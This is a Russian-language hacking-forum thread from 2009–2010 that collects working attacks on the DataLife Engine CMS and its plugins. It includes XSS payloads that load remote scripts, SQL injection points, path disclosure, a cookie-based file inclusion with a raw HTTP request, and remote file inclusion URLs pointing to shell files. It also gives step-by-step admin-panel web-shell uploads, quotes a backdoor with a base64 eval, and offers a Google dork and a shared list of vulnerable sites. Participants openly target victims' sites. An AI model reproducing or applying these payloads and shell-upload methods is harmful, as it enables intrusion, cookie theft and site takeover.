(c) mailbrush

#Wolf#
10.02.2009, 15:54
раскрытие путей

http://host.ru/engine/print.php?do=static&page[]=paramparam


результат

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in [PATH]/engine/classes/mysql.class.php on line 162 Невозможно загрузить шаблон: info.tpl


UPD

http://host.ru/engine/rss.php?subaction=allnews&user[]=admin

UPD
для тех у кого есть доступ в админку(журналисты, модераторы и выше)

http://host.ru/admin.php?mod[]=main


(c) #Wolf#

ps
http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html

кандоны( уже патч выпустили(

-Hormold-
27.02.2009, 15:10
Youtube Video Downloader
Версия: 1.0


Пассивная-XSS :(
Собственно
Уязвимый скрипт: youtubedownloader.php
Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1>
Метод: POST
Уязвимый кусок кода:

$video="$_POST[video]";
$video2 = explode("watch?v=", $video);
$video2 = explode("&", $video2[1]);
$video2 = $video2[0];
/////........
$pic="http://img.youtube.com/vi/$video2/default.jpg";
$youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>";
}

-Hormold-
27.02.2009, 15:57
SPAM BUTTON in PM
Версия: v.1.0


Раскрытие путей

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: --
Метод: --
Уязвимый кусок кода:

//До этого нет объявление функции и каких-либо includ'ов
echoheader("SPAM in PM", "Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB");

-Hormold-
27.02.2009, 16:08
SPAM BUTTON in PM
Версия: v.1.0


ВОЗМОЖНО Sql-INJ

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:

if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}

-Hormold-
27.02.2009, 16:25
DLE HACK SERVICE BETA
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: engine\inc\md5.php
Запрос: pass[]=md5
Метод: POST
Уязвимый кусок кода:

if (isset($_POST['pass'])) {
$pass=trim(htmlspecialchars($_POST['pass']));
$pass=md5($pass);
}

-Hormold-
27.02.2009, 16:41
Простой мини чат для Dle
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: shout.php
Запрос: name[]=1&message[]=msg
Метод: POST
Уязвимый кусок кода:

if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);

Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST

-Hormold-
27.02.2009, 16:45
Простой мини чат для Dle
Версия: v.1.0


Активная XSS

Уязвимый скрипт: shout.php
Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1>
Метод: POST
Уязвимый кусок кода:

if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);
///........
$file[] = $id."¤".$name."¤".$message."¤".time()."\n";
///........
foreach ($file as $msg) fwrite($fp, $msg);
///........

Этот баг даёт возможность поставить сниффер, и ловить куки ;)

-Hormold-
27.02.2009, 16:56
profileZ. Смена логина
Версия: v.1.5


Sql-INJ

Уязвимый скрипт: engine/modules/profile.php
Запрос: usertitle=-1'
Метод: POST
Уязвимый кусок кода:

$usertitle=$_POST['usertitle'];
if (strlen($password1)>0) {

$password1 = md5(md5($password1));

$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";

} else {
$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";

}

-Hormold-
27.02.2009, 17:18
hacking attemptz
Версия: v.1.0


Активная XSS от любого пользователя(100% кража куки админа)

Уязвимый скрипт: hacking_attemptz_fnct.php
Запрос: login_name=<h1><script>alert(/xss/);</script>XSS</h1>&login_password=1234
Метод: POST
Уязвимый кусок кода:

function log_user($host)
{
global $ip;
$log_date = date('d.m.Y');
$log_time = date('H:i:s');
$log_info = "

<tr>
<td align='center'>".$_POST['login_name']."</td>
<td align='center'>$log_date</td>
<td align='center'>$log_time</td>
<td align='center'>$ip</td>
<td align='center'>".gethostbyaddr($ip)."</td>
</hr>
";

Теперь попробуйте залогиниться с логином <h1>xss</h1> и любым пассом!
Смотрим админку, и вот! XSS видна

Chaak
27.02.2009, 17:29
SPAM BUTTON in PM
Версия: v.1.0


ВОЗМОЖНО Sql-INJ

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:

if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}
Что значит возможно?

-Hormold-
27.02.2009, 18:02
Friends of Suite
Версия: v.1.3


Расскрытие путей

Уязвимый скрипт: inc/friend.php
Запрос: reg_name[]=123&reg_adress[]=1234
Метод: POST
Уязвимый кусок кода:

if ($_POST['docreate'] == "create")
{
$name = trim(htmlspecialchars(stripslashes($_POST['name'])));
$address = trim(htmlspecialchars(stripslashes($_POST['address'])));

-Hormold-
27.02.2009, 18:08
Friends of Suite
Версия: v.1.3


Активная XSS от любого пользователя(100% кража куки админа)

Уязвимый скрипт: friend.php
Запрос: reg_name=<h1><script>alert(/xss/);</script>XSS</h1>&reg_adress=http://127.0.0.1/
Метод: POST
Уязвимый кусок кода:

//пока ненашёл...

Теперь попробуйте добавить сайт с названием <h1>xss</h1> и любым url'ом где есть ссылка на ваш хост.
Смотрим админку, и вот! XSS видна :P
Хотя script удаляет...

-Hormold-
28.02.2009, 00:40
DataLife Engine Redirect
Версия: v.1.1

XSS

Уязвимый скрипт: engine/redirect.php
Запрос: url=http://site.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:

$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');




Переадресация для ссылок(^^ странно похожи...)!
Версия: v.1.0

XSS

Уязвимый скрипт: engine/redikt.php
Запрос: ?url=http://sasa.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:

$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');

-Hormold-
01.03.2009, 22:09
Удаление комментариев при помощи AJAX
Версия: v.1.0


sql-inj

Уязвимый скрипт: engine/ajax/commentdelete.php
Запрос: commid=-1'
Метод: GET
Уязвимый кусок кода:

$row = $db->super_query("SELECT * FROM " . PREFIX . "_comments where id = '{$_REQUEST['commid']}'");


Раскручивать не стал...

banana
09.04.2009, 13:13
По адресу site/engine/images.php?area=
Можно заливать картинки на сервер без авторизации

Проверял на 6.7 - пашет

Sosok
09.05.2009, 17:08
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064

wildshaman
09.05.2009, 17:15
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064

покажи подробнее, линком желательно

Sosok
10.05.2009, 12:18
Вот зайдёшь и на самый первый сайт нажми...
http://www.google.com/search?client=opera&rls=ru&q=site:scriptiks.ru+'

nonamez
10.05.2009, 12:20
там варка в том, что он сохраняет запросы в базу с реферор от гугла или же яши, а если подделать запрос, то можно вызвать скуль эрор, я уже об этом поднимал тему один раз.

wildshaman
10.05.2009, 13:52
Активные XSS в DLE версии 8.0 (возможно и раньше).
Необходимо несколько специфических настроек.

1) XSS при добавлении новостей из админски, WISYWIG должен быть отключен;
Простое добавление новостей пользователями, WISYWIG должен быть отключен:

<iframe width=0 border=0 height=0 src=http://ha.ckers.org/scriptlet.html <
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov L3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm 9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPS IxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcm lwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<SCRIPT SRC=http://ha.ckers.org/xss.js?
<

2) XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<



(с) by Wildshaman, 2009 год.

wildshaman
11.05.2009, 17:14
DLE 8.0 Раскрытие путей:
http://dle-news.ru/index.php?do=pm&doaction=del&dle_allow_hash=06e5bbf84191c990867ee5bbacf879b8&master_box=on&selected_pm[][]=8
dle_allow_hash берется из исходника страницы списка персональных сообщений (для каждого юзверя он свой на каждом сайте)...




Активная XSS (требуется доступ в админку)...
идем в редиактирвоание своей инфы в админке ([site]/admin.php?mod=options&action=personal)
, в поле "Полное имя:" пишем <script>alert(/Hacked by Wildshaman/)</script> и смотрим в свой профиль на сайте ([site]/user/username)



(с)Wildshaman 2009 год

Genry13
20.05.2009, 11:12
XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<


Ет коряво и не работает, т.к. к адресу скрипта коннектится "<" и следующий тег, да и полстраницы обрезается... Если в другю сторону загнуть - фильтрует.

З.Ы. Такая же "уязвимость" и в приватных месагах.

mr.gr33n
07.07.2009, 20:38
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)

[XSS]

http://test1.ru/dle/<script>alert()</script>?mod=main


Вот еще раскрытие путей если админ не удалил папку Upgrade, достаточно перейти по адресу:

http://test1.ru/dle/upgrade/7.5.php

James026
09.07.2009, 01:02
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)

[XSS]

http://test1.ru/dle/<script>alert()</script>?mod=main



Hacking attempt!

Useroff
28.07.2009, 07:15
Создадим новость и потом откроем код страницы с новостью то получим адресс одминки xD

<a onclick="return dropdownmenu(this, event, MenuNewsBuild('1', 'full'), '170px')" href="http://site.ru/odmin.php?mod=editnews&amp;action=editnews&amp;id=1" target = "_blank" >

Работает не всегда, смотря от настроек DLE.

-=BlackSmoke=-
13.08.2009, 01:41
Уязвимость в скрипте: DLE FORUM.
Версии: хз, тестил на 2.3.
Что делает: получение префикса таблиц(dle_ или то, что задал админ, например, blablabla_).
Реализация: добавить сообщение, содержащее тег а затем, не обновляя страницу, добавить еще одно сообщение. Появится ошибка синтаксиса мускула, при этом откроется, какую именно таблицу не удалось обновить.

InFlame
05.09.2009, 18:40
DataLife Engine 8.2

www.site/path/engine/api/api.class.php?dle_config_api=[file]

Dr.Brain
05.09.2009, 18:59
DataLife Engine 8.2

www.site/path /engine/api/api.class.php?dle_config_api=[file]

ниче не вижу

j0ker13
05.09.2009, 22:11
в нуленных DataLife Engine 8.2 это убрали)
и вообще ни одного сайта уязвимого не нашел из 100

z0mbie86
06.09.2009, 07:27
Подскажите как залить шелл через админку в DLE 8.2

Andrewko1
07.09.2009, 11:38
Подскажите как написать запрос для гугла чтобы найти сайты на движке dle

FeraS
07.09.2009, 11:59
inurl:index.php?do=register

Useroff
11.09.2009, 12:27
DataLife Engine 8.2

www.site/path/engine/api/api.class.php?dle_config_api=[file]
dle_config_api - используют только нулледы, так что на лицензию это не распространяется.

Dark_cracker
11.09.2009, 16:21
Не знаю важно или нет , ну мне часто помогало...Если админ не поставил на шаблон достаточно прав , то через админку когда изменяешь шаблон пишет ошибку :( , я это обхожу с помощью создания нового шаблона , после того как создали новый шаблон его можно редактировать ;-) , в настройках системы выбераете тот шаблон который создали:)

redlain
18.09.2009, 15:27
вопрос как залить шелл через админку с возможностью его последующего запуска
вопрос возник из-за того, что файл заливаемый через новости, фильтруется хц аксесом.
А если в шаблон заливать, то скобки "<>" не обрабатываются (
Других явных вариантов тут не нашел и пока самому не пришли в голову... кто что знает?

phpdreamer
19.09.2009, 11:34
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...

и еще
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742

Dark_cracker
20.09.2009, 00:22
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...
уже обсуждалось , много раз <FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$"> , так что , то что ты написал полная чушь:)
десять цифр_название.php а потом пробиваешь на валидность
C этого поржал :)
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742
этот тип тоже какую то ху**ню написал.

Nightmarе
23.09.2009, 05:13
Хотелось бы спросить у тех, кто ковыряет движок DLE, есть там плагин к нему типа форум DLE.
Заметил на нём такую особенность, он экранирует кавычки, ну первым делом естественно была мысль проверить его на XSS, однако в исходном HTML коде страницы он всё преобразует в HTML эквиваленты (&#x4C;&#x4F;&#x4C;)
Но экранирование всё равно происходит… значит видимо не всё так чисто… или всё.
Может кто уже смотрел это место, стоит ли его ковырять, или затея бессмысленна?

hackmon
25.09.2009, 17:58
можно ли через пользователя залить шелл?
имеется доступ /admin.php?mod=addnews&action=addnews

SpYeR
08.10.2009, 20:35
hackmon, нельзя.
В последних версиях, по-моему, вообще нереально, имея даже полный доступ в админку.

wildshaman
09.10.2009, 16:00
Если имеется установленный модуль DLE forum - то шелл залить проще простого, имея доступ в админку.

Заходим в админку - другие разделы - настройка модуля DLE forum (/admin.php?mod=options&action=options)
Настройка (/admin.php?mod=forum&action=tools) - таб "настройка загрузки файлов на сервер".
В "Расширение файлов, допустимых к загрузке" дописываем ",php", сохраняем.
Идем на форум, выбираем любую тему, нажимаем "ответить", в нвоом окне нажимает на значок папки (выше поля ввода сообщения).
Там выбираем наш шелл в .PHP формате (.php обрезается самим движком). Грузим, вставляем в пост (аттачмент), постим. Видим в посте линк. переходим - вот и наш шелл.
после этого можно залить наш шелл в другое место, удалить этот и стереть пост.
Ну и, главное, не забыть в админке в настройках убрать добавленное разрешени PHP
(с)WildShaman 2009

SpYeR
11.10.2009, 04:39
wildshaman,
только что попробовал, не получилось. Скорее всего из-за ЧПУ. По-моему, оно должно быть отключено.

denniselite
11.10.2009, 11:40
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?

SpYeR
12.10.2009, 09:16
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?
Если есть доступ в админку, то сделать бэкап базы, скачать его, и вытащить оттуда.

hackmon
16.10.2009, 19:51
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]

вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)


эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=

и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом

пс убирал расширение ничего

кто потскажет

wildshaman
16.10.2009, 20:08
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.

hackmon
16.10.2009, 20:18
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.

все равно

(Dm)
16.10.2009, 21:17
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]

вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)


эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=

и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом

пс убирал расширение ничего

кто потскажет
Может register_globals = Off

hackmon
16.10.2009, 21:41
Может register_globals = Off

я на разных сайтах смотрел
wildshaman предположил что Эта бага есть только у версий,с качанных с сайта http://dlecms.com

как по другому моно замутить

mailbrush
17.10.2009, 17:50
Раскрытие путей + LFI
DataLife Engine <= 8.2


Тип: Раскрытие путей
Автор: mailbrush
Версия: DataLife Engine <= 8.2
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "dle_skin" в файле init.php и позволяет удалённому пользователю добиться вывода ошибки функции, соответственно увидев пути к корню сайта.
Уязвимый код:
/engine/init.php

...
} elseif (isset($_COOKIE['dle_skin']) AND $_COOKIE['dle_skin'] != '') {

if (@is_dir(ROOT_DIR.'/templates/'.$_COOKIE['dle_skin']))
{
$config['skin'] = $_COOKIE['dle_skin'];
}
}
...
$tpl->dir = ROOT_DIR.'/templates/'.$config['skin'];
...
include_once $tpl->dir.'/login.tpl';

Эксплуатация:


Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим dle_skin и значение ../
Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
Самый простой вариант - используем мой скрипт:
http://mailbrush.eu/tools/dle.php


После этого на сайте видим ошибку:

Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314

Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:\php5\pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.

Соображающие люди поймут как сделать из этого LFI.

Дорк: Powered by DataLife Engine

SpYeR
18.10.2009, 16:20
mailbrush
Круто.
Ухты! Можно даже залить шелл если в uploads/files залить свой login.tpl
указывать dle_skin=../uploads/files/

HAXTA4OK
18.10.2009, 23:31
Раскрытие путей
DataLife Engine 8.2 Без всяких куков

1)файл preview.php
require_once ROOT_DIR.'/engine/classes/templates.class.php';

самое прикрльное что ROOT_DIR читает как папку, хотя многие в асе написали что
константа *в не понятках*

вызываем этот файл:
http://dle/engine/inc/preview.php
получаем
Warning: require_once(ROOT_DIR/engine/classes/templates.class.php) [function.require-once]: failed to open stream: No such file or directory in C:\AppServ\www\upload33\engine\inc\preview.php on line 2

на офф сайте даже канает)

+ 2)еще ругается с файла Init.php
require_once (ENGINE_DIR . '/inc/include/functions.inc.php');
extract( $_REQUEST, EXTR_SKIP );
require_once (ENGINE_DIR . '/data/config.php');


http://dle/engine/inc/include/init.php

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in /home/public_html/engine/inc/include/init.php on line 18

+3) нужны куки :)

engine/ajax/antivirus.php
if (isset( $_COOKIE['selected_language'] )) {

$_COOKIE['selected_language'] = totranslit( $_COOKIE['selected_language'], false, false );

if (@is_dir ( ROOT_DIR . '/language/' . $_COOKIE['selected_language'] )) {
$selected_language = $_COOKIE['selected_language'];
}

}

require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';


все тоже самое что и у mailbrush'a. только в куках имя selected_language и значение ../ уже выдаст ошибку

+4) самое бональное раскрытие

engine/modules/imagepreview.php
$_GET['image'] = htmlspecialchars ($_GET['image'], ENT_QUOTES);
$_GET['image'] = str_replace( "document.cookie", "", $_GET['image'] );
$_GET['image'] = str_replace( "javascript", "", $_GET['image'] );


http://dle/engine/modules/imagepreview.php?image[]=
PS и не нужны куки здесь)
Зыы ну почти не нужны

S0ulVortex
05.11.2009, 00:54
Народ есть способы залить шел через админку в dle 8.2 ???

SpYeR
05.11.2009, 06:49
Мэилбраш же вон написал способ. Только так вроде.

S0ulVortex
05.11.2009, 10:31
Был найден бэкдор в нулле от -=ZLOY=-
В этом файле был бэкдор. eval() через $_POST
Файл лежит в (/engine/ajax/updates.php)
Код бэкдора
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));
}}

EST a1ien
12.11.2009, 19:07
Найдена уязвимость в DLE 8.2(Только в этой версии)
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1
На офф сайте уже доступна заплатка.
В новых версиях дле даже можно версию узнать ))
engine/skins/images/logos.jpg
Теперь у каждой версии в админки стоит версия в лого )
Это просто шикарно )

Getozz
13.11.2009, 14:50
Проблемму с лостпассворд профиксили. dle.org7.ru

Getozz
15.11.2009, 02:55
Еще одна бага есть. можн залить шелл с помощю категорий. создаете категорию туда свой шаблон с шеллом. вродь до 7.2 у мя пахало

NoEasyWayOut
19.11.2009, 13:30
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?

Useroff
23.11.2009, 03:20
8.2, раскрытие путей

selected_language = .
admin.php

AARON
23.11.2009, 05:25
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?

Можно на images.google.ru вбить

"engine/skins/images/logos.jpg" Datalife Engine

http://images.google.ru/images?hl=ru&source=hp&q=%22engine%2Fskins%2Fimages%2Flogos.jpg%22+Datali fe+Engine&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%BA%D0%B0%D 1%80%D1%82%D0%B8%D0%BD%D0%BE%D0%BA&gbv=2&aq=f&oq=

slva2000
24.11.2009, 22:34
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.

http://depositfiles.com/files/6s4qs35gb

Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D

Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.

hellorin
27.11.2009, 15:19
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.

http://depositfiles.com/files/6s4qs35gb

Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D

Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.

Сцыль с базой обовить бы ...

c411k
03.12.2009, 04:48
https://forum.antichat.ru/thread153641.html

бага в посылке пакета без кукисов.

http://vipuzor.com/admin.php
Host: vipuzor.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.20) Gecko/20091111 Firefox/3.1.3.37
Referer: http://vipuzor.com/admin.php
Content-Type: application/x-www-form-urlencoded
POST
subaction=dologin&username=admin&password=111111

zetaap
03.12.2009, 22:42
slva2000 Ссылочки обновите пожалуйста

Useroff
02.01.2010, 18:47
http://site.com//language/Russian/website.lng

Боян - .htaccess

// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k

Balancer
10.01.2010, 11:25
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');

а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся
Проинклудил я main.tpl, а как зайти в шел не понятно. Объясните нубу, пожалуйста! :confused:

deiv3
11.01.2010, 22:50
Подскажите, что можно сделать, имя доступ к админке в DLE 8.0., если слить базу мешает не выставленные права 777. Есть в этой версии способы залить шелл?

YuxaS
12.01.2010, 20:07
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');

а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся

а для этого не нужно в index.php менять строчку:
echo $tpl->result['main'];
на
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php '); ??
или я что то не правильно понял ? объясните кто нибудь...

и ещё один вопрос, может кто знает, что нужно сделать, чтобы пароли при регистрации сохранялись в базу - как есть, без md5 кодирования ?

SuNDowN
13.01.2010, 23:30
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)

In.Exploit
14.01.2010, 03:06
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)
Есть. в login.tpl

или там где выбор шаблона для категории.

или же инклудь в маин.тпл

SuNDowN
15.01.2010, 13:37
Есть. в login.tpl

или там где выбор шаблона для категории.

или же инклудь в маин.тпл
При помощи этого товарища и своих усилей нашёл способ заливки шелла через админ панель, впрочем она нечем не отличается от выше указанных просто в версиях от 8.0, а именно в 8.2 нужно в маин.тпл инклудить при помощи тега:
{include file="file.php"}

V1sTeR
17.01.2010, 20:58
Кроме шаблона, можно еще как-нибудь залить шелл? DLE 7.5-8.3

RedX
31.01.2010, 21:44
================================================== ======================================
| # Title : DataLife Engine 8.3 RFI Vulnerability
| # Author : indoushka
| # email : indoushka@hotmail.com
| # Home : www.iq-ty.com/vb
| # Script Home : http://villehost.net/files/DataLife%20Engine%208.3%20Full%20English%20UTF-8%20Encoded%20-%20www.cms-pedia.com.rar (pass=www.cms-pedia.com)
| # Dork : Powered by CMS Pedia � 2009 (DataLife Engine Support � 2009. CMS Pedia)
| # Tested on : windows SP2 Fran�ais V.(Pnx2 2.0) + Lunix Fran�ais v.(9.4 Ubuntu)
| # Bug : RFI
====================== Exploit By indoushka =================================
# Exploit :

1- RFI

http://localhost/upload/engine/inc/include/init.php?selected_language=http://localhost/c.txt?

http://localhost/upload/engine/inc/help.php?config[langs]=http://localhost/c.txt?

http://localhost/upload/engine/ajax/pm.php?config[lang_=[EV!L]

http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?

http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?

http://www.example.com/engine/inc/include/init.php?selected_language=http://www.example2.com
http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com
http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com
http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com :)

EoGeneo
10.02.2010, 10:43
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете?

flagmen
10.02.2010, 12:55
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель

EoGeneo
10.02.2010, 13:08
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель
:D Ты думаешь я не проверял ))) они заходят набирая путь до админки руками

MagNomeTik
10.02.2010, 15:55
В последних версиях DLE в меню редактирования любой новости есть пункт "Редактировать новость (Админка)".
Выделяешь этот пункт и видишь в строке состояния примерно такую вещь http://сайт/admin.php?mod=editnews&action=editnews&id=25303
Отсюда можешь уже можешь разглядеть)

EoGeneo
10.02.2010, 15:59
Спасибо, но все не то )) там эксклюзивный шаблон. И нет этого всего. ТАм с первого взгляда и не скажешь что DLE. Сам держу сайт на DLE и знаю самый распространеные фишки поиска админки. В данном случаи я ищу что то типо сканера админок )))

zebrum
10.02.2010, 20:15
Раскрытие путей dle 8.3 engine/images.php
